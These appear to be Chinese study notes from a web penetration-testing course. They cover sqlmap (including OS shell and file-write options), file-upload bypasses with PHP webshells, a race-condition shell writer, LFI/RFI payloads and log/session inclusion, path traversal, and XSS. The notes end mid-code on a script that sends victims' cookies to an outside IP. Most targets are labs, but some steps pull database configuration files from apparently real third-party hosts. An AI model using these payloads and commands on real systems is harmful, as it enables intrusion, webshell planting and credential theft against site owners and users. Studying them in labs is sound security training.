http://demo01:6767/exsql/index.php?id=1 and (select load_file(concat('\\\\',database(),'.9wcuoq.dnslog.cn\\aaa')))

显示了数据库名,后面的表名字段名数据都差不多了
第46天:WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构
#参考:
https://www.cnblogs.com/bmjoker/p/9326258.html
#数据猜解-库表列数据&字典
测试:http://vulnweb.com/
--current-db
--tables -D ""
--columns -T "" -D ""
--dump -C "" -C "" -T ""
#权限操作-文件&命令&交互式
测试:MYSQL 高权限注入
引出权限:
--is-dba --privileges
引出文件:
--file-read --file-write --file-dest
引出命令:
--os-cmd= --os-shell --sql-shell
#提交方法-POST&HEAD&JSON
测试:Post Cookie Json
--data ""
--cookie ""
-r 1.txt
#绕过模块-Tamper 脚本-使用&开发
测试:base64 注入 有过滤的注入
--tamper=base64encode.py
--tamper=test.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
return payload
#分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
-v=(0-6) #详细的等(0-6)
--proxy"http://xx:xx" #代理注入
2、打乱默认指纹:
user-agent #自定义user-agent #随机
--random-ageht #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
3、使用更多的测试:测试Header注入
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1

数据猜解-库表列数据&字典
初步测试
python sqlmap.py -u "目标url " --batch
--batch是自动
所有数据库
python sqlmap.py -u "目标url " --batch --dbs
表
python sqlmap.py -u "目标url " --batch -D '指定数据库名' --tables
字段
python sqlmap.py -u "目标url " --batch -D '指定数据库名' -T '指定表名' --columns
数据
python sqlmap.py -u "目标url " --batch -D '指定数据库名' -T '指定表名' -C '字段名' --dump
有时候用指定名字的时候不能加单引号会报错,直接写就行
字典目录

遇到access这样的数据库就是用的字典,后续要添加就来这边添加字典
注意access数据库和mysql的区别,access直接开始就是表名,mysq先看数据库名
权限操作-文件&命令&交互式
引出权限:
--is-dba --privileges
引出文件:
--file-read --file-write --file-dest
引出命令:
--os-cmd= --os-shell --sql-shell
权限
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --is-dba

说明权限很高
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --privileges

文件
读
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --file-read


写
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --file-write "" --file-dest ""

命令
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --os-cmd

系统交互
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --os-shell

数据库交互
python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --sql-shell

#提交方法-POST&HEAD&JSON
--data ""
--cookie ""
-r 1.txt
python sqlmap.py -u "http://demo01:6767/admin/admin_c.php" --data "username=asada&password=231333" --dbs

后面的就和get注入一样了
cookie
请求保存到本地txt文件

参数很多,如果直接注入的话会花很多时间,可以在想要注入的后面加上*号,比如要在username和password注入:

其他参数也是一样
python sqlmap.py -r .\head.txt

用-u和-r的区别
有个网站只能手机访问 有个注入点
如果不是通过抓包得到的请求的注入点数据包去注入的话
sqlmap就才采用自己的访问头去访问注入(可能访问不到,访问不到还怎么注入)
也就是说-u是用的sqlmap写好的去访问,而-r用的是我们自己的
如果是json的话可以用-r去注入,加上*号
绕过模块-Tamper 脚本-使用&开发
url经过了base64加密,在用sqlmap进行注入的时候也需要加密
python sqlmap.py -u "" --tamper=base64encode.py
常用脚本:

绕过
如果一些关键字不能使用而且是base64加密的,那么我们可以去sqlmap对应的py脚本里面进行修改,比如base64初始是

可以进行大小写绕过

这个绕过难的不是修改代码而是要知道怎么绕过
分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
-v=(0-6) #详细的等(0-6)
--proxy"http://xx:xx" #代理注入
2、打乱默认指纹:
user-agent #自定义user-agent #随机 #sqlmap的特征

--random-ageht #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
3、使用更多的测试:测试Header注入
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
相当于越高测试的就越精确
第47天:WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过
#学习前必读:
1、课前一定要明白:
无文件解析安全问题上,格式解析是一对一的(不能 jpg 解析 php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!
#测试环境安装参考:
https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker
0、下载上述资源
1、docker 安装
f8x -d 或 f8x -docker
2、进入项目文件夹
cd upload-labs-docker
3、一键部署运行
docker-compose up -d
#upload-labs-docker 知识点:
1、前端 JS
如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
2、.htaccess
AddType application/x-httpd-php .png
3、MIME 类型
Content-Type:image/png
4、文件头判断
GIF89a
5、黑名单-过滤不严

文件上传靶场
sqlsec/upload-labs-docker: 国光的文件上传靶场,基于 upload-labs 定制
关卡:

PHP-原生态-文件上传-前后端验证
前端 JS
JS:
- 查看源代码是否有JS代码
- 抓包,如果没有抓到就显示上传成功或者失败的话那么就是JS前端验证,因为这个包都没有发出去,只在浏览器验证了
第一关

查看源代码:

可以看到JS代码,如果上传的文件后缀不在这些白名单里面的话那么就不发送,直接在前端验证不通过
对与这个就有两种方法来绕过,一个是禁用前端js代码

在这之后不管上传什么类型的文件都能够上传成功了
还有一个就是后端绕过
先准备一句话木马

后缀改成图片类型,这样就可以上传了,上传抓包

修改后缀为php发送

复制图片路径

webshell工具连接


.htaccess
第二关

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
上传图片文件(内容依旧是一句话木马)
之后再上传,这次抓包,修改成:

AddType application/x-httpd-php .png
- AddType:告诉 Apache 添加新的 MIME 类型映射
- application/x-httpd-php:PHP 解析器的 MIME 类型
- .png:文件扩展名
效果:所有 .png 文件都会被当作 PHP 脚本来解析执行
发包,成功上传

webshell连接,地址是图片地址


PHP-原生态-文件上传-类型文件头验证
MIME 类型
第三关

这次的话上传php文件,抓包

文件类型改成png类型的
image/png

发送,php文件上传成功
文件头判断
第四关

不同类型的文件十六进制的文件头是不一样的,通过这个方式可以进行绕过,比如php文件,在文件的开始加上合法文件的文件头字符
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46
png:


保存,上传抓包修改文件类型

发包,上传成功

PHP-原生态-文件上传-后缀黑白名单验证
黑名单-过滤不严
第五关

黑名单:

如果上传了php文件的话会显示:

后缀被去掉了,但是源代码没有做递归处理,所以文件名可以改成:1.pphphp
这样上传就是php文件了
解释
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", ...);
// 这里有问题!
$name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
}
文件名:1.pphphp
查找点后的黑名单字符串,找到了php,删除后前面的p和后面的hp结合在一起刚好是php
第六关

绕过就是大小写,后缀改成phP这种,在windows系统大小写不敏感,linux不行
第七关
这里我下载的源码wp的话没有这关的解法,我的网站也打不开这关,没有实操了记录了小迪的讲解
先上传图片类型文件,然后抓包可以看到文件上传时候的路径

发包可以看到上传文件的路径

在后面添加上文件名加截断符

也就是说上传的文件名变成了a.php,而%00的作用是截断,所以后面上传自动加上去的文件名也就是

就没有了,之后放包就上传成功了
第八关
这个我网站也打不开,解题过程和上一个差不多

但是这里的截断符%00需要设置解码,上一关中因为是在url里面所以会自动解码
选中部分->右键Convert selection->URL->URL-decode
之后发包就行了
第九关

依旧黑名单,php不能上传,在fuzzdb里面有个替换的文件,里面这些都是可解析成php的文件格式

上传php抓包

发送到Intruder,clear,选中后缀php,add,进入payloads

load选中之前的文件,开始爆破
小迪这里是可以的,我自己尝试后发现改大小写还是字典爆破都不行
第十关

源代码关键部分:

if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
if(in_array($ext,$whitelist)){
// 合法文件 → 重命名并保留
rename($upload_file, $img_path);
}else{
// 非法文件 → 删除
unlink($upload_file);
}
}
⚠️ 问题点(条件竞争漏洞):
- 文件在
move_uploaded_file()执行后已经出现在upload/目录中。 - 在判断后缀是否合法之前,攻击者可以 并发快速访问该文件。
- 如果上传的是
恶意.php文件,攻击者能在文件被删除前访问执行它,从而在服务器上写入 Webshell。
例如题目描述里的 “竞争马”:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
攻击者利用竞争窗口,在文件删除前触发执行,达到持久化写马的目的。
总结:如果上传的文件被写入到 web 可访问且会被 PHP 解析的目录,并且攻击者在文件被删除前成功访问(即让服务器执行)了该上传文件中的 fputs(...) 语句,那么服务器上会被写出 xiao.php(一句话木马)。一旦 xiao.php 被写入并保存,后续即便把原上传文件删除,xiao.php 仍然存在并可被利用——攻击已经成功
上传php文件,抓包发送到Intruder,clear

这里就相当于一直在上传php代码,然后现在还需要加一个一直访问php代码的,步骤和上传文件一样,访问upload/1.php然后抓包
我们就在浏览器访问xiao.php

写进去了
PHP-原生态-文件上传-解析配置&二次渲染
二次渲染:网站让图片显示更加美好

上传一个木马图片然后下载下来和原图放进010editor进行比较



匹配的部分还是挺少的

PHP-原生态-文件上传-逻辑缺陷&函数缺陷
第十一关

里面有一个函数缺陷:move_uploaded_file($temp_file, $img_path)
这里如果用shell%00.jpg,在5.3.4版本一下可以绕过,服务端的检查函数(可能是用 PHP 的 pathinfo() 或简单的字符串匹配)读取到这个文件名。在 PHP 的某些版本和配置下,在 %00 被 URL 解码之前进行验证,所以检查函数看到的是 shell.php%00.jpg,它认为这是一个 .jpg 文件,验证通过
但是现在在这里不能绕过,需要利用函数缺陷,将上传的文件名改成shell.php/.,之后保存的文件会自动把点去掉
第48天:WEB攻防-PHP应用&文件上传&中间件CVE解析&第三方编辑器&已知CMS漏洞
#PHP-中间件-上传相关-Apache&Nginx
复现漏洞环境:vulhub (部署搭建看打包视频)
由于 PHP 搭建常用中间件:IIS,Apache,Nginx
Web 搭建在存在漏洞的中间件上,漏洞影响这文件的解析即配合上传
#PHP-编辑器-上传相关-第三方处理引用
复现漏洞环境:ueditor (部署搭建看打包视频)
由于编辑器漏洞较少,实战碰到机会不大,主要理解漏洞产生的思路
参考:https://cloud.tencent.com/developer/article/2200036
参考:https://blog.csdn.net/qq_45813980/article/details/126866682 引用到外部的第三方编辑器实现文件上传,编辑器的安全即是上传安全
#PHP-CMS 源码-上传相关-已知识别到利用
复现漏洞环境:通达 OA-V11.2
从未知的源码体系测试原生态上传安全,现在是已知 CMS 源码架构,利用已知的漏洞测试
PHP-中间件-上传相关-Apache&Nginx
Apache

docker-compose build #搭建
docker-compose up -d #启动
docker-compose config #查看端口号

访问

可以看到apache版本

在漏洞版本区间

准备一个php文件

上传抓包

在a.php(也就是上传的php文件)后面加一个空格,来到十六进制,将空格的十六进制改成0a

放包

成功了,访问evil.php%0a

漏洞复现的条件:
- Apache版本在2.4.0 到 2.4.29
- 有文件上传点
- 上传的文件有重命名操作
Nginx
文件名逻辑漏洞


php文件后缀改gif,上传抓包

文件名后面加一个空格,send

访问文件,抓包


两个空格后面加上.php,来到十六进制,空格的值分别改成20、00

send

解析漏洞

上传正常图片抓包

在文件内容的最后加上php代码

send

得到图片文件路径,访问

PHP-编辑器-上传相关-第三方处理引用
由于编辑器漏洞较少,实战碰到机会不大,主要理解漏洞产生的思路
Ueditor编辑器
漏洞(一):net.版本1.4.3文件上传
<form action=" http://xxx.com/Content/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
PHP-CMS 源码-上传相关-已知识别到利用
复现漏洞环境:通达 OA-V11.2
先装一个

从未知的源码体系测试原生态上传安全,现在是已知 CMS 源码架构,利用已知的漏洞测试
就是先看架构,网上有没有源码,看源码有没有漏洞
第49天:WEB攻防-文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行
#文件-解析方案-执行权限&解码还原
1、执行权限
文件上传后存储目录不给执行权限
2、解码还原
数据做存储,解析固定(文件后缀名无关)
文件上传后利用编码传输解码还原
#文件-存储方案-分站存储&OSS 对象
1、分站存储
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
2、OSS 对象
Access 控制-OSS 对象存储-Bucket 对象
#如何判断
实例分析判断
#安全绕过
以上方案除目录设置权限如能换目录解析绕过外,其他均无解
文件-解析方案-执行权限&解码还原
执行权限
php文件上传不做过滤可以任意执行,但是开启了禁止目录执行的话php文件就不能被执行了

解码还原
上传图片->一串BASE64数据
显示图片->解码数据还原(固定协议 data:image/png;base64,base一串数据)
图片没有格式后缀,只认数据 文件数据做处理
文件上传的时候上传的就是base64的那串数据,接收到之后在解码,便于存储到数据库
如果上传后门文件的话就没有意义了,因为不管是什么文件都被当作图片了
文件-存储方案-分站存储&OSS 对象
分站存储
一个域名上传文件之后存储到了另外一个域名,后续连接的话需要到存储的目录
一般这种的都会做限制,就是存储的目录不会解析只用来存储
OSS 对象
oss,云存储
上传的文件不会解析,只做存储,访问文件会直接下载
第50天:WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
#文件包含-原理&分类&利用&修复
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
1.1、分类
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定
2、白盒审计:(CTFSHOW)
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once 等
include 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require 函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader 等
ASP.NET:System.IO.FileStream、System.IO.StreamReader 等
3、黑盒分析:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
URL 中有 path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
4、利用
本地利用思路:
1、配合文件上传
2、无文件包含日志
3、无文件包含 SESSION
4、无文件支持伪协议利用
参考:
https://blog.csdn.net/unexpectedthing/article/details/121276653
-文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
-文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>');?>
-代码执行:
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
#黑盒利用-VULWEB-有无包含文件
http://testphp.vulnweb.com/showimage.php?file=index.php
#白盒利用-CTFSHOW-伪协议玩法
https://ctf.show/challenges
78-php&http协议
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:<?php system('tac flag.php');?>
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>
79-data&http协议
payload:?file=data://text/plain,<?=system('tac flag.*');?>
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pq==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>
80 81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log


文 件 包 含 - 原 理 & 分 类 & 利 用 & 修 复
本地包含
写一个包含了file参数的include

访问并且写上参数

test.php的文件内容就是phpinfo的代码,包含的文件就被当做当前脚本语言去代码执行
漏洞原因:
1、使用文件包含函数
2、包含的文件可控
远程包含
这个需要网站把远程包含开关打开才能执行

http://192.168.254.143:8001/1111.txt
1111.txt文件里面是phpinfo代码,访问
http://demo01:6767/include.php?file=http://192.168.254.143:8001/1111.txt

代码执行
本地包含:没有上传的话 文件固定的包含带有攻击的代码
利用:
有文件利用:
上传一个文件 文件写有我们的恶意代码(配合上传)
无文件利用:
1、包含日志文件利用
2、包含session文件利用
3、伪协议玩法利用
远程包含:直接搭建一个可访问的远程URL包含文件
文件读取
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
绝对路径

相对路径


文件写入
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'), '<?php @eval($_GET[cmd]);?>');?>
POST方法写入

第一种需要条件,源代码有:

执行

代码执行
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b



黑 盒 利 用 - V U L W E B - 有 无 包 含 文 件
网站:
testphp.vulnweb.com,访问:http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160
抓包发送

尝试访问index.php

可以访问到,并且有一个数据库连接文件,访问

数据库账号密码泄露
信息收集,看有没有这种file=
白 盒 利 用 - C T F S H O W - 伪 协 议 玩 法
78-php&http协议
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:<?php system('tac flag.php');?>
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>
79-data&http协议
payload:?file=data://text/plain,<?=system('tac flag.*');?>
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pq==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?phpsystem('tac flag.php');?>
80 81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
抓包修改ua信息,查看日志文件会发现日志文件的ua信息可以被修改,直接在ua里面写入后门即可
?file=file://var/log/nginx/access.log
82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
https://www.cnblogs.com/NPFS/p/13795170.html
session目录:

上传表单,用来创建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://demo01:6767/upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='<?php system("ls"); ?>' />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
上传文件抓包

添加Cookie:PHPSESSID=flag,会发现多出了session文件

但是没有内容,PHP默认配置 session.upload_progress.cleanup = On,这意味着:
- 当文件上传完成时,PHP会自动从Session中清除
upload_progress数据 - 清理操作很快,通常在你上传请求结束后的几毫秒内发生
所以需要利用bp一直去传这个东西,并且一直访问sess_flag这个文件,也就是条件竞争
路径的话就去找那些默认路径
87-php://filter/write&加密编码
1、利用base64:
url编码2次:
php://filter/write=convert.base64-decode/resource=123.php
content-aaPD9waHAgQGV2YWWOJF9QT1NUW2FdKTs/Pq== #aa是占位的,如果不加会报错
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource-2.php
content=<?cuc riny($ CBFG[1]);?>
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]);?>');
echo"经过一次反转:".$result."\n";
echo"经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>
Payload:
file-php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
第51天:WEB攻防-前后台功能点&文件下载&文件读取&文件删除&目录遍历&目录穿越
#文件安全-下载&删除-黑白盒
1、下载=读取
常规下载 URL:http://www.xiaodi8.com/upload/123.pdf
可能存在安全 URL:http://www.xiaodi8.com/xx.xx?file=123.pdf
利用:常规下载敏感文件(数据库配置,中间件配置,系统密匙等文件信息)
2、文件删除(常出现后台中)
可能存在安全问题:前台或后台有删除功能应用
利用:常规删除重装锁定配合程序重装或高危操作
#目录安全-遍历&穿越-黑白盒
1、目录遍历
目录权限控制不当,通过遍历获取到有价值的信息文件去利用
2、目录穿越(常出现后台中)
目录权限控制不当,通过控制查看目录路径穿越到其他目录或判断获取价值文件再利用
#黑盒分析:
1、功能点
文件上传,文件下载,文件删除,文件管理器等地方
2、URL 特征
文件名:
download,down,readfile,read,del,dir,path,src,Lang 等
参数名:
file、path、data、filepath、readfile、data、url、realpath 等
#白盒分析:
上传类函数,删除类函数,下载类函数,目录操作函数,读取查看函数等
文件安全-下载&删除-案例黑白盒
下载
直连下载:
http://down.znds.com/getdownurl/down/28238613/1.php 解析php 不会下载 php代码是看不到
http://down.znds.com/getdownurl/?s=/down/20230613/1.php
http://down.znds.com/getdownur1/?s=L2RVd24VMjAyMZA2MTMVMS5waHA= 下载协议下载php 源码可以看到
安全问题:下载的文件以参数值去发送解析下载 如果更改的参数值就是指定下载文件
访问之后直接下载
http://67.202.70.133/files/readfile.php?file=readfile.php

查看上一级目录的index.php
http://67.202.70.133/files/readfile.php?file=../index.php
下载的文件打开查看


也是访问下载上一级目录的数据库配置文件
http://67.202.70.133/files/readfile.php?file=../configuration.php
下载之后就是数据库的配置文件了
读取
也是看链接,比如一个图像的链接后面跟的是?file=,可以尝试抓包去修改后面的值读取敏感文件,比如linux的/etc/passwd
删除

访问install显示如果要重新安装要删除installLock.txt,需要先抓一个删除内容的包

把filedir后面的目录一步步尝试找到需要删除的文件的目录删除文件
目录安全-遍历&穿越-案例黑白盒
目录遍历
目录权限控制不当,通过遍历获取到有价值的信息文件去利用

直接访问显示权限不足,开启目录索引就会显示


这些文件目录点进去如果有索引比如index.php这种文件,那么就会直接解析这个index.php的页面,如果没有的话那么就会显示文件目录
fofa关键字:index of /


作用就是能下载的文件就下载查看
目录穿越(常出现后台中)
目录权限控制不当,通过控制查看目录路径穿越到其他目录或判断获取价值文件再利用

一般只能看这个temples目录以及下面的目录,选择目录复制链接访问

只能看templets那么就一直访问上一级


第52天:WEB攻防-XSS跨站&反射型&存储型&DOM型&标签闭合&输入输出&JS代码解析
#XSS 跨站-输入输出-原理&分类&闭合
漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BASE
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传 xss 等
常用标签:https://www.freebuf.com/articles/web/340080.html
攻击利用:盲打,COOKIE 盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等
安全修复:字符过滤,实例化编码,http_only,CSP 防护,WAF 拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)
#XSS 跨站-分类测试-反射&存储&DOM
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
数据输出
评论,留言等
关键词、标签、说明
文件上传
-反射型 XSS:(某案例测试)
常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,
由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成 XSS 攻击。
-存储型 XSS:(某案例测试)
存储型 XSS 是持久化的 XSS 攻击方式,将恶意代码存储于服务器端,
当其他用户再次访问页面时触发,造成 XSS 攻击。
-DOM-base 型 XSS:(某案例测试)
通过修改原始的客户端代码,受害者浏览器的 DOM 环境改变,导致有效载荷的执行。 页面本身没有变化,但由于 DOM 环境被恶意修改,有客户端代码被包含进了页面并执行。



XSS 跨站-输入输出-原理&分类&闭合
xss要找有输入输出的地方,搜索测反射,评论测存储
后台登录有日志记录的,登录用户名也可以xss
XSS 跨站-分类测试-反射&存储&DOM
-反射型 XSS
常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,
由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成 XSS 攻击。
接收数据并且输出


把要输入的内容改成js代码

会执行js代码显示弹窗

访问:
http://demo01:6767/xss.php?x=<iframe src="http://www.xiaodi8.com">test</iframe>

这个页面就可以显示xiaodi的页面了,可以稍作修改全屏,这个安全危害就是其实用户是在访问demo01网站但是其实真正操作的是xiaodi网站,那么可能就会产生钓鱼网站,在demo01记录用户在xiaodi的一些操作,比如登录之类的
这种攻击就叫反射性跨站,也叫非持续型攻击

这种图片显示的,在url输入的时候就不能简单的写js代码,需要考虑闭合的问题


利用x onerror="alert(1)">进行闭合


-存储型 XSS
存储型 XSS 是持久化的 XSS 攻击方式,将恶意代码存储于服务器端,
当其他用户再次访问页面时触发,造成 XSS 攻击。
在一些可以存储数据的地方比如评论、留言板等等地方,如果写入了xss语句就会被存储,后续只要有人访问这个地方那么就会被执行,这种的叫做存储型,也叫持续性攻击
-DOM-base 型 XSS
通过修改原始的客户端代码,受害者浏览器的 DOM 环境改变,导致有效载荷的执行。 页面本身没有变化,但由于 DOM 环境被恶意修改,有客户端代码被包含进了页面并执行。

访问
http://demo01:6767/xssdom.html#http://www.baidu.com
显示百度页面
第53天:WEB攻防-XSS跨站&SVG&PDF&Flash&MXSS&UXSS&配合上传&文件添加脚本
#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/
#UXSS:Universal Cross-Site Scripting
UXSS 是利用浏览器或者浏览器扩展漏洞来制造产生 XSS 并执行代码的一种攻击类型。 MICROSOFT EDGE uXSS CVE-2021-34506
Edge 浏览器翻译功能导致 JS 语句被调用执行
https://www.bilibili.com/video/BV1fX4y1c7rX
#SVG-XSS
SVG(Scalable Vector Graphics)是一种基于 XML 的二维矢量图格式,和我们平常用的 jpg/png 等图片格式所不同的是 SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开 SVG 图片并且编辑它,目前主流的浏览器都已经支持 SVG 图片的渲染。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2"
fill="red" />
<script>alert(1)</script>
</svg>
#PDF-XSS
1、创建 PDF,加入动作 JS
2、通过文件上传获取直链
3、直链地址访问后被触发
项目:迅捷 PDF 编辑器试用版
#FLASH-XSS
-制作 swf-xss 文件:
1、新建 swf 文件
2、F9 进入代码区域
3、属性发布设置解析
//取 m 参数
var m=_root.m;
//调用 html 中 Javascript 中的 m 参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)
项目:Adobe Flash Professional CS6
-测试 swf 文件 xss 安全性:
1、反编译 swf 文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和is通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
顶目:JPEXS Free Flash Decompiler
MXSS&UXSS-CVE-2021-34506
SVG&PDF&SWF-XSS&上传&反编译
SVG
SVG(Scalable Vector Graphics)是一种基于 XML 的二维矢量图格式,和我们平常用的 jpg/png 等图片格式所不同的是 SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开 SVG 图片并且编辑它,目前主流的浏览器都已经支持 SVG 图片的渲染。
SVG图片,代码里面加js代码,进行文件上传
一个svg图片的代码:

可以直接用浏览器打开,在代码里面加上
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2"
fill="red" />
<script>alert(1)</script>
再次打开会发现弹窗

找一个文件上传点上传文件查看网络,找到图片对应的data:image/svg然后访问就可以弹窗
1、创建 PDF,加入动作 JS
2、通过文件上传获取直链
3、直链地址访问后被触发
项目:迅捷 PDF 编辑器试用版


保存,直接pdf打开无事发生,用浏览器打开就会弹窗

FLASH
-制作 swf-xss 文件:
1、新建 swf 文件
2、F9 进入代码区域
3、属性发布设置解析
//取 m 参数
var m=_root.m;
//调用 html 中 Javascript 中的 m 参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)
项目:Adobe Flash Professional CS6
第54天:WEB攻防-XSS跨站&Cookie盗取&表单劫持&网络钓鱼&溯源分析&项目平台框架
漏洞原理:接受输入数据,输出显示数据后解析执行
基础类型:反射(非持续),存储(持续),DOM-BASE
拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传 xss等
常用标签:https://www.freebuf.com/articles/web/340080.html
攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等 安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等
测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)
#XSS跨站-攻击利用-凭据盗取
条件:无防护 Cookie凭据获取
利用:XSS平台或手写接受代码
触发:<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>
接受:
<?php
$url=$_GET['u'];
